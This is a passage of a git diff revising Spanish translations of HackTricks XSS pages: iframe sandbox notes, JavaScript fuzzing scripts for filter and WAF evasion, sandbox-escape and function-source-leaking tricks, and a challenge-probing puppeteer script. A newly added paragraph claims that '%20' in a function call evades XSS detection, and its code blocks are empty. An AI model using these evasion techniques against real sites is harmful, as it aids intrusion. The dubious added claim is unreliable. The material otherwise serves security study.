"31337s3cr37t"; ``` Ten en cuenta cómo **la CSP anterior solo permite la ejecución del script en línea**.\ -Sin embargo, **solo los scripts `if1` e `if2` se ejecutarán pero solo `if1` podrá acceder al secreto principal**. +Sin embargo, **solo los scripts `if1` e `if2` se van a ejecutar pero solo `if1` podrá acceder al secreto padre**. ![](<../../.gitbook/assets/image (627) (1) (1).png>) @@ -104,7 +104,7 @@ return "" if __name__ == "__main__": app.run() ``` -### Otros payloads encontrados en la naturaleza +### Otros Payloads encontrados en la naturaleza ```html @@ -128,7 +128,7 @@ Cuando se utiliza, el atributo `sandbox` impone varias limitaciones: - Se evita la navegación del contexto de navegación de nivel superior del contenido por parte del propio contenido. - Se bloquean las funciones que se activan automáticamente, como la reproducción de video o el enfoque automático de controles de formulario. -El valor del atributo puede dejarse vacío (`sandbox=""`) para aplicar todas las restricciones mencionadas anteriormente. Alternativamente, se puede establecer como una lista separada por espacios de valores específicos que eximen al iframe de ciertas restricciones. +El valor del atributo puede dejarse vacío (`sandbox=""`) para aplicar todas las restricciones mencionadas anteriormente. Alternativamente, se puede establecer en una lista de valores específicos separados por espacios que eximen al iframe de ciertas restricciones. ```html ``` @@ -156,10 +156,10 @@ Verifica las siguientes páginas: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/pentesting-web/xss-cross-site-scripting/other-js-tricks.md b/pentesting-web/xss-cross-site-scripting/other-js-tricks.md index 854d13936..0055968d2 100644 --- a/pentesting-web/xss-cross-site-scripting/other-js-tricks.md +++ b/pentesting-web/xss-cross-site-scripting/other-js-tricks.md @@ -1,20 +1,20 @@ -# Trucos JS misceláneos e información relevante +# Trucos JS Varios e Información Relevante
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Fuzzing de Javascript -### Caracteres válidos para comentarios JS +### Caracteres de Comentario JS Válidos ```javascript //This is a 1 line comment /* This is a multiline comment*/ @@ -23,49 +23,49 @@ for (let j = 0; j < 128; j++) { - for (let k = 0; k < 128; k++) { - for (let l = 0; l < 128; l++) { - if (j == 34 || k ==34 || l ==34) - continue; - if (j == 0x0a || k ==0x0a || l ==0x0a) - continue; - if (j == 0x0d || k ==0x0d || l ==0x0d) - continue; - if (j == 0x3c || k ==0x3c || l ==0x3c) - continue; - if ( - (j == 47 && k == 47) - ||(k == 47 && l == 47) - ) - continue; - try { - var cmd = String.fromCharCode(j) + String.fromCharCode(k) + String.fromCharCode(l) + 'a.orange.ctf"'; - eval(cmd); - } catch(e) { - var err = e.toString().split('\n')[0].split(':')[0]; - if (err === 'SyntaxError' || err === "ReferenceError") - continue - err = e.toString().split('\n')[0] - } - console.log(err,cmd); - } - } +for (let k = 0; k < 128; k++) { +for (let l = 0; l < 128; l++) { +if (j == 34 || k ==34 || l ==34) +continue; +if (j == 0x0a || k ==0x0a || l ==0x0a) +continue; +if (j == 0x0d || k ==0x0d || l ==0x0d) +continue; +if (j == 0x3c || k ==0x3c || l ==0x3c) +continue; +if ( +(j == 47 && k == 47) +||(k == 47 && l == 47) +) +continue; +try { +var cmd = String.fromCharCode(j) + String.fromCharCode(k) + String.fromCharCode(l) + 'a.orange.ctf"'; +eval(cmd); +} catch(e) { +var err = e.toString().split('\n')[0].split(':')[0]; +if (err === 'SyntaxError' || err === "ReferenceError") +continue +err = e.toString().split('\n')[0] +} +console.log(err,cmd); +} +} } //From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z -// From: Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 43). Kindle Edition. +// From: Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 43). Kindle Edition. log=[]; for(let i=0;i<=0xff;i++){ - for(let j=0;j<=0xfff;j++){ - try { - eval(`${String.fromCodePoint(i,j)}%$£234$`) - log.push([i,j]) - }catch(e){} - } +for(let j=0;j<=0xfff;j++){ +try { +eval(`${String.fromCodePoint(i,j)}%$£234$`) +log.push([i,j]) +}catch(e){} +} } console.log(log)//[35,33],[47,47] ``` -### Caracteres de Nueva Línea Válidos en JS +### Caracteres de Nueva Línea JS Válidos ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10) //0x0a @@ -74,80 +74,99 @@ String.fromCharCode(8232) //0xe2 0x80 0xa8 String.fromCharCode(8233) //0xe2 0x80 0xa8 for (let j = 0; j < 65536; j++) { - try { - var cmd = '"aaaaa";'+String.fromCharCode(j) + '-->a.orange.ctf"'; - eval(cmd); - } catch(e) { - var err = e.toString().split('\n')[0].split(':')[0]; - if (err === 'SyntaxError' || err === "ReferenceError") - continue; - err = e.toString().split('\n')[0] - } - console.log(`[${err}]`,j,cmd); +try { +var cmd = '"aaaaa";'+String.fromCharCode(j) + '-->a.orange.ctf"'; +eval(cmd); +} catch(e) { +var err = e.toString().split('\n')[0].split(':')[0]; +if (err === 'SyntaxError' || err === "ReferenceError") +continue; +err = e.toString().split('\n')[0] +} +console.log(`[${err}]`,j,cmd); } //From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z ``` -### Espacios válidos de JS en llamadas de función +### Espacios JS válidos en llamadas de funciones + +En algunos casos, es posible evadir la detección de XSS al utilizar espacios válidos en las llamadas de funciones. Por ejemplo, considera el siguiente código: + +```html + +``` + +Si intentamos inyectar código malicioso directamente, como `greet('Alice'); alert('XSS')`, es probable que sea detectado y bloqueado. Sin embargo, podemos evadir esto utilizando espacios válidos en la llamada de la función, como se muestra a continuación: + +```html +"> +``` + +En este caso, el espacio en `%20` en la llamada de la función `greet` puede ayudar a evitar la detección de XSS. ```javascript -// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition. +// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 40-41). Kindle Edition. // Check chars that can be put in between in func name and the () function x(){} log=[]; for(let i=0;i<=0x10ffff;i++){ - try { - eval(`x${String.fromCodePoint(i)}()`) - log.push(i) - }catch(e){} +try { +eval(`x${String.fromCodePoint(i)}()`) +log.push(i) +}catch(e){} } - + console.log(log)v//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,813 232,8233,8239,8287,12288,65279 ``` ### **Caracteres válidos para generar cadenas** ```javascript -// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition. +// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 41-42). Kindle Edition. // Check which pairs of chars can make something be a valid string log=[]; for(let i=0;i<=0x10ffff;i++){ - try { - eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`) - log.push(i) - }catch(e){} +try { +eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`) +log.push(i) +}catch(e){} } console.log(log) //34,39,47,96 //single quote, quotes, backticks & // (regex) ``` -### **Surrogate Pairs BF** +### **Surrogate Pairs BF (Fuerza Bruta de Pares Sustitutos)** -Esta técnica no será muy útil para XSS, pero podría ser útil para evitar las protecciones de WAF. Este código de Python recibe como entrada 2 bytes y busca pares sustitutos que tengan el primer byte como los últimos bytes del par sustituto alto y el último byte como el último byte del par sustituto bajo. +Esta técnica no será muy útil para XSS, pero podría ser útil para evadir protecciones de WAF. Este código en Python recibe como entrada 2 bytes y busca pares sustitutos que tengan el primer byte como el último byte del par sustituto alto y el último byte como el último byte del par sustituto bajo. ```python def unicode(findHex): - for i in range(0,0xFFFFF): - H = hex(int(((i - 0x10000) / 0x400) + 0xD800)) - h = chr(int(H[-2:],16)) - L = hex(int(((i - 0x10000) % 0x400 + 0xDC00))) - l = chr(int(L[-2:],16)) - if(h == findHex[0]) and (l == findHex[1]): - print(H.replace("0x","\\u")+L.replace("0x","\\u")) +for i in range(0,0xFFFFF): +H = hex(int(((i - 0x10000) / 0x400) + 0xD800)) +h = chr(int(H[-2:],16)) +L = hex(int(((i - 0x10000) % 0x400 + 0xDC00))) +l = chr(int(L[-2:],16)) +if(h == findHex[0]) and (l == findHex[1]): +print(H.replace("0x","\\u")+L.replace("0x","\\u")) ``` -### Fuzzing del protocolo `javascript{}:` +Más información: -El protocolo `javascript{}:` es utilizado para ejecutar código JavaScript en el contexto de una página web. Es posible utilizar este protocolo para realizar ataques de Cross-Site Scripting (XSS) en una página web. +* [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md) +* [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding) -Para realizar un ataque de fuzzing en el protocolo `javascript{}:`, se pueden utilizar diferentes técnicas, como la inyección de caracteres Unicode y la codificación de caracteres. Estas técnicas permiten evadir los filtros de seguridad y ejecutar código malicioso en la página web. - -Es importante tener en cuenta que este tipo de ataques pueden ser detectados y prevenidos mediante la implementación de medidas de seguridad adecuadas en la página web, como la validación de entradas y la sanitización de datos. +### Fuzzing del Protocolo `javascript{}:` ```javascript -// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition. +// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition. log=[]; let anchor = document.createElement('a'); for(let i=0;i<=0x10ffff;i++){ - anchor.href = `javascript${String.fromCodePoint(i)}:`; - if(anchor.protocol === 'javascript:') { - log.push(i); - } +anchor.href = `javascript${String.fromCodePoint(i)}:`; +if(anchor.protocol === 'javascript:') { +log.push(i); +} } console.log(log)//9,10,13,58 // Note that you could BF also other possitions of the use of multiple chars @@ -163,16 +182,16 @@ document.body.append(anchor) ``` ### Fuzzing de URL ```javascript -// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition. +// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition. // Before the protocol a=document.createElement('a'); log=[]; for(let i=0;i<=0x10ffff;i++){ - a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`; - if(a.hostname === 'hacktricks.xyz'){ - log.push(i); - } +a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`; +if(a.hostname === 'hacktricks.xyz'){ +log.push(i); +} } console.log(log) //0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 @@ -180,32 +199,32 @@ console.log(log) //0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 a=document.createElement('a'); log=[]; for(let i=0;i<=0x10ffff;i++){ - a.href = `/${String.fromCodePoint(i)}/hacktricks.xyz`; - if(a.hostname === 'hacktricks.xyz'){ - log.push(i); - } +a.href = `/${String.fromCodePoint(i)}/hacktricks.xyz`; +if(a.hostname === 'hacktricks.xyz'){ +log.push(i); +} } console.log(log) //9,10,13,47,92 ``` ### Fuzzing HTML ```javascript -// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition. +// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition. // Fuzzing chars that can close an HTML comment let log=[]; let div = document.createElement('div'); for(let i=0;i<=0x10ffff;i++){ - div.innerHTML=``; - if(div.querySelector('span')){ - log.push(i); - } +div.innerHTML=``; +if(div.querySelector('span')){ +log.push(i); +} } console.log(log)//33,45,62 ``` -## **Análisis de atributos** +## **Analizando atributos** -La herramienta **Hackability inspector** de Portswigger ayuda a **analizar** los **atributos** de un objeto javascript. Ver: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E) +La herramienta **Hackability inspector** de Portswigger ayuda a **analizar** los **atributos** de un objeto javascript. Verifique: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E) ## **Archivos .map js** @@ -214,51 +233,51 @@ La herramienta **Hackability inspector** de Portswigger ayuda a **analizar** los ## Asignación "--" -El operador de decremento `--` también es una asignación. Este operador toma un valor y luego lo decrementa en uno. Si ese valor no es un número, se establecerá en `NaN`. Esto se puede usar para **eliminar el contenido de las variables del entorno**. +El operador de decremento `--` también es una asignación. Este operador toma un valor y luego lo decrementa en uno. Si ese valor no es un número, se establecerá en `NaN`. Esto se puede utilizar para **eliminar el contenido de variables del entorno**. ![](<../../.gitbook/assets/image (553).png>) ![](<../../.gitbook/assets/image (554).png>) -## Trucos de funciones +## Trucos de Funciones ### .call y .apply El método **`.call`** de una función se utiliza para **ejecutar la función**.\ -El **primer argumento** que espera por defecto es el **valor de `this`** y si no se proporciona **nada**, **`window`** será ese valor (a menos que se use el **`modo estricto`**). +El **primer argumento** que espera por defecto es el **valor de `this`** y si no se proporciona **nada**, **`window`** será ese valor (a menos que se use **`strict mode`**). ```javascript function test_call(){ - console.log(this.value); //baz +console.log(this.value); //baz } new_this={value:"hey!"} test_call.call(new_this); // To pass more arguments, just pass then inside .call() function test_call() { - console.log(arguments[0]); //"arg1" - console.log(arguments[1]); //"arg2" - console.log(this); //[object Window] +console.log(arguments[0]); //"arg1" +console.log(arguments[1]); //"arg2" +console.log(this); //[object Window] } test_call.call(null, "arg1", "arg2") // If you use the "use strict" directive "this" will be null instead of window: function test_call() { - "use strict"; - console.log(this); //null +"use strict"; +console.log(this); //null } test_call.call(null) - + //The apply function is pretty much exactly the same as the call function with one important difference, you can supply an array of arguments in the second argument: function test_apply() { - console.log(arguments[0]); //"arg1" - console.log(arguments[1]); //"arg2" - console.log(this); //[object Window] +console.log(arguments[0]); //"arg1" +console.log(arguments[1]); //"arg2" +console.log(this); //[object Window] } test_apply.apply(null, ["arg1", "arg2"]) ``` ### Funciones de flecha -Las funciones de flecha te permiten generar funciones en una sola línea de manera más sencilla (si las entiendes). +Las funciones de flecha te permiten generar funciones en una sola línea de forma más sencilla (si las entiendes) ```javascript // Traditional function (a){ return a + 1; } @@ -281,7 +300,7 @@ let a = 4; let b = 2; () => a + b + 1; ``` -Entonces, la mayoría de las funciones anteriores son en realidad inútiles porque no las estamos guardando en ningún lugar para guardarlas y llamarlas. Por ejemplo, al crear la función `plusone`: +Entonces, la mayoría de las funciones anteriores son en realidad inútiles porque no las estamos guardando en ningún lugar para poder llamarlas. Por ejemplo, creando la función `plusone`: ```javascript // Traductional function plusone (a){ return a + 1; } @@ -289,13 +308,13 @@ function plusone (a){ return a + 1; } //Arrow plusone = a => a + 100; ``` -### Función Bind +### Función bind -La función Bind permite crear una **copia** de una **función modificando** el objeto **`this`** y los **parámetros** dados. +La función bind permite crear una **copia** de una **función modificando** el objeto **`this`** y los **parámetros** dados. ```javascript //This will use the this object and print "Hello World" var fn = function ( param1, param2 ) { - console.info( this, param1, param2 ); +console.info( this, param1, param2 ); } fn('Hello', 'World') @@ -305,7 +324,7 @@ copyFn('Hello', 'World') //This will use the "console" object as "this" object inside the function and print "fixingparam1 Hello" var bindFn_change = fn.bind(console, "fixingparam1"); -bindFn_change('Hello', 'World') +bindFn_change('Hello', 'World') //This will still use the this object and print "fixingparam1 Hello" var bindFn_thisnull = fn.bind(null, "fixingparam1"); @@ -316,7 +335,7 @@ var bindFn_this = fn.bind(this, "fixingparam1"); bindFn_change('Hello', 'World') ``` {% hint style="info" %} -Ten en cuenta que usando **`bind`** puedes manipular el objeto **`this`** que se usará al llamar a la función. +Ten en cuenta que usando **`bind`** puedes manipular el objeto **`this`** que se va a utilizar al llamar a la función. {% endhint %} ### Fuga de código de función @@ -324,19 +343,19 @@ Ten en cuenta que usando **`bind`** puedes manipular el objeto **`this`** que se Si puedes **acceder al objeto** de una función, puedes **obtener el código** de esa función. ```javascript function afunc(){ - return 1+1; +return 1+1; } console.log(afunc.toString()); //This will print the code of the function console.log(String(afunc)); //This will print the code of the function console.log(this.afunc.toString()); //This will print the code of the function console.log(global.afunc.toString()); //This will print the code of the function ``` -En casos en los que la **función no tenga nombre**, aún puedes imprimir el **código de la función** desde dentro: +En casos en los que la **función no tiene nombre**, aún puedes imprimir el **código de la función** desde dentro: ```javascript (function (){ return arguments.callee.toString(); })() (function (){ return arguments[0]; })("arg0") ``` -Aquí hay algunas formas **aleatorias** de **extraer el código** de una función (incluso comentarios) desde otra función: +Algunas **formas aleatorias** de **extraer el código** de una función (incluso comentarios) de otra función: ```javascript (function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})() (function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})() @@ -344,7 +363,7 @@ Aquí hay algunas formas **aleatorias** de **extraer el código** de una funció (u=>(String(u)))(_=>{ /* Hidden commment */ }) (u=>_=>(String(u)))(_=>{ /* Hidden commment */ })() ``` -## Escape de Sandbox - Recuperando el objeto window +## Escape de la caja de arena - Recuperando el objeto window El objeto Window permite acceder a funciones definidas globalmente como alert o eval. @@ -380,9 +399,9 @@ Error.prepareStackTrace=function(error, callSites){ // From an HTML event // Events from HTML are executed in this context with(document) { - with(element) { - //executed event - } +with(element) { +//executed event +} } // Because of that with(document) it's possible to access properties of document like: @@ -395,13 +414,13 @@ with(document) { // Stop when a property in sessionStorage or localStorage is set/get // via getItem or setItem functions sessionStorage.getItem = localStorage.getItem = function(prop) { - debugger; - return sessionStorage[prop]; +debugger; +return sessionStorage[prop]; } localStorage.setItem = function(prop, val) { - debugger; - localStorage[prop] = val; +debugger; +localStorage[prop] = val; } ``` @@ -410,23 +429,23 @@ localStorage.setItem = function(prop, val) { // For example sessionStorage.ppmap // "123".ppmap // Useful to find where weird properties are being set or accessed -// or to find where prototype pollutions are occurring +// or to find where prototype pollutions are occurring function debugAccess(obj, prop, debugGet=true){ - var origValue = obj[prop]; +var origValue = obj[prop]; - Object.defineProperty(obj, prop, { - get: function () { - if ( debugGet ) - debugger; - return origValue; - }, - set: function(val) { - debugger; - origValue = val; - } - }); +Object.defineProperty(obj, prop, { +get: function () { +if ( debugGet ) +debugger; +return origValue; +}, +set: function(val) { +debugger; +origValue = val; +} +}); }; debugAccess(Object.prototype, 'ppmap') @@ -438,47 +457,47 @@ const puppeteer = require("puppeteer"); const realPasswordLength = 3000; async function sleep(ms) { - return new Promise((resolve) => setTimeout(resolve, ms)); +return new Promise((resolve) => setTimeout(resolve, ms)); } (async () => { - const browser = await puppeteer.launch(); - const page = await browser.newPage(); - //Loop to iterate through different values - for (let i = 0; i < 10000; i += 100) { - console.log(`Run number ${i}`); - const input = `${"0".repeat(i)}${realPasswordLength}`; - console.log(` https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true×tamp=1624556811000`); - //Go to the page - await page.goto( - `https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true×tamp=1624556811000` - ); - //Call function "generate()" inside the page - await page.evaluate("generate()"); - //Get node inner text from an HTML element - const passwordContent = await page.$$eval( - ".alert .page-content", - (node) => node[0].innerText - ); - //Transform the content and print it in console - const plainPassword = passwordContent.replace("Your password is: ", ""); - if (plainPassword.length != realPasswordLength) { - console.log(i, plainPassword.length, plainPassword); - } +const browser = await puppeteer.launch(); +const page = await browser.newPage(); +//Loop to iterate through different values +for (let i = 0; i < 10000; i += 100) { +console.log(`Run number ${i}`); +const input = `${"0".repeat(i)}${realPasswordLength}`; +console.log(` https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true×tamp=1624556811000`); +//Go to the page +await page.goto( +`https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true×tamp=1624556811000` +); +//Call function "generate()" inside the page +await page.evaluate("generate()"); +//Get node inner text from an HTML element +const passwordContent = await page.$$eval( +".alert .page-content", +(node) => node[0].innerText +); +//Transform the content and print it in console +const plainPassword = passwordContent.replace("Your password is: ", ""); +if (plainPassword.length != realPasswordLength) { +console.log(i, plainPassword.length, plainPassword); +} - await sleep(1000); - } - await browser.close(); +await sleep(1000); +} +await browser.close(); })(); ```
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md b/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md index f2581accf..c5d520e3b 100644 --- a/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md +++ b/pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md @@ -1,38 +1,38 @@ -# SOME - Ejecución de método de misma origen +# Ejecución de Método de Origen Similar (SOME)
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al **grupo de telegram** o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Ejecución de método de misma origen +## Ejecución de Método de Origen Similar -Habrá ocasiones en las que puedas ejecutar un javascript limitado en una página. Por ejemplo, en el caso en el que puedas [**controlar un valor de devolución de llamada que se ejecutará**](./#javascript-function). +Habrá ocasiones en las que puedas ejecutar algo de JavaScript limitado en una página. Por ejemplo, en el caso en el que puedas [**controlar un valor de devolución de llamada que se ejecutará**](./#javascript-function). -En esos casos, una de las mejores cosas que podrías hacer es **acceder al DOM para llamar a cualquier** acción sensible que puedas encontrar allí (como hacer clic en un botón). Sin embargo, por lo general, encontrarás esta vulnerabilidad en **pequeños puntos finales sin nada interesante en el DOM**. +En esos casos, una de las mejores cosas que podrías hacer es **acceder al DOM para llamar a cualquier** acción sensible que puedas encontrar allí (como hacer clic en un botón). Sin embargo, generalmente encontrarás esta vulnerabilidad en **pequeños puntos finales sin nada interesante en el DOM**. -En esos escenarios, este ataque será muy útil, porque su objetivo es poder **abusar de la ejecución limitada de JS dentro de un DOM desde una página diferente del mismo dominio** con acciones mucho más interesantes. +En esos escenarios, este ataque será muy útil, porque su objetivo es poder **abusar de la ejecución de JS limitada dentro de un DOM desde una página diferente del mismo dominio** con acciones mucho más interesantes. Básicamente, el flujo del ataque es el siguiente: * Encuentra un 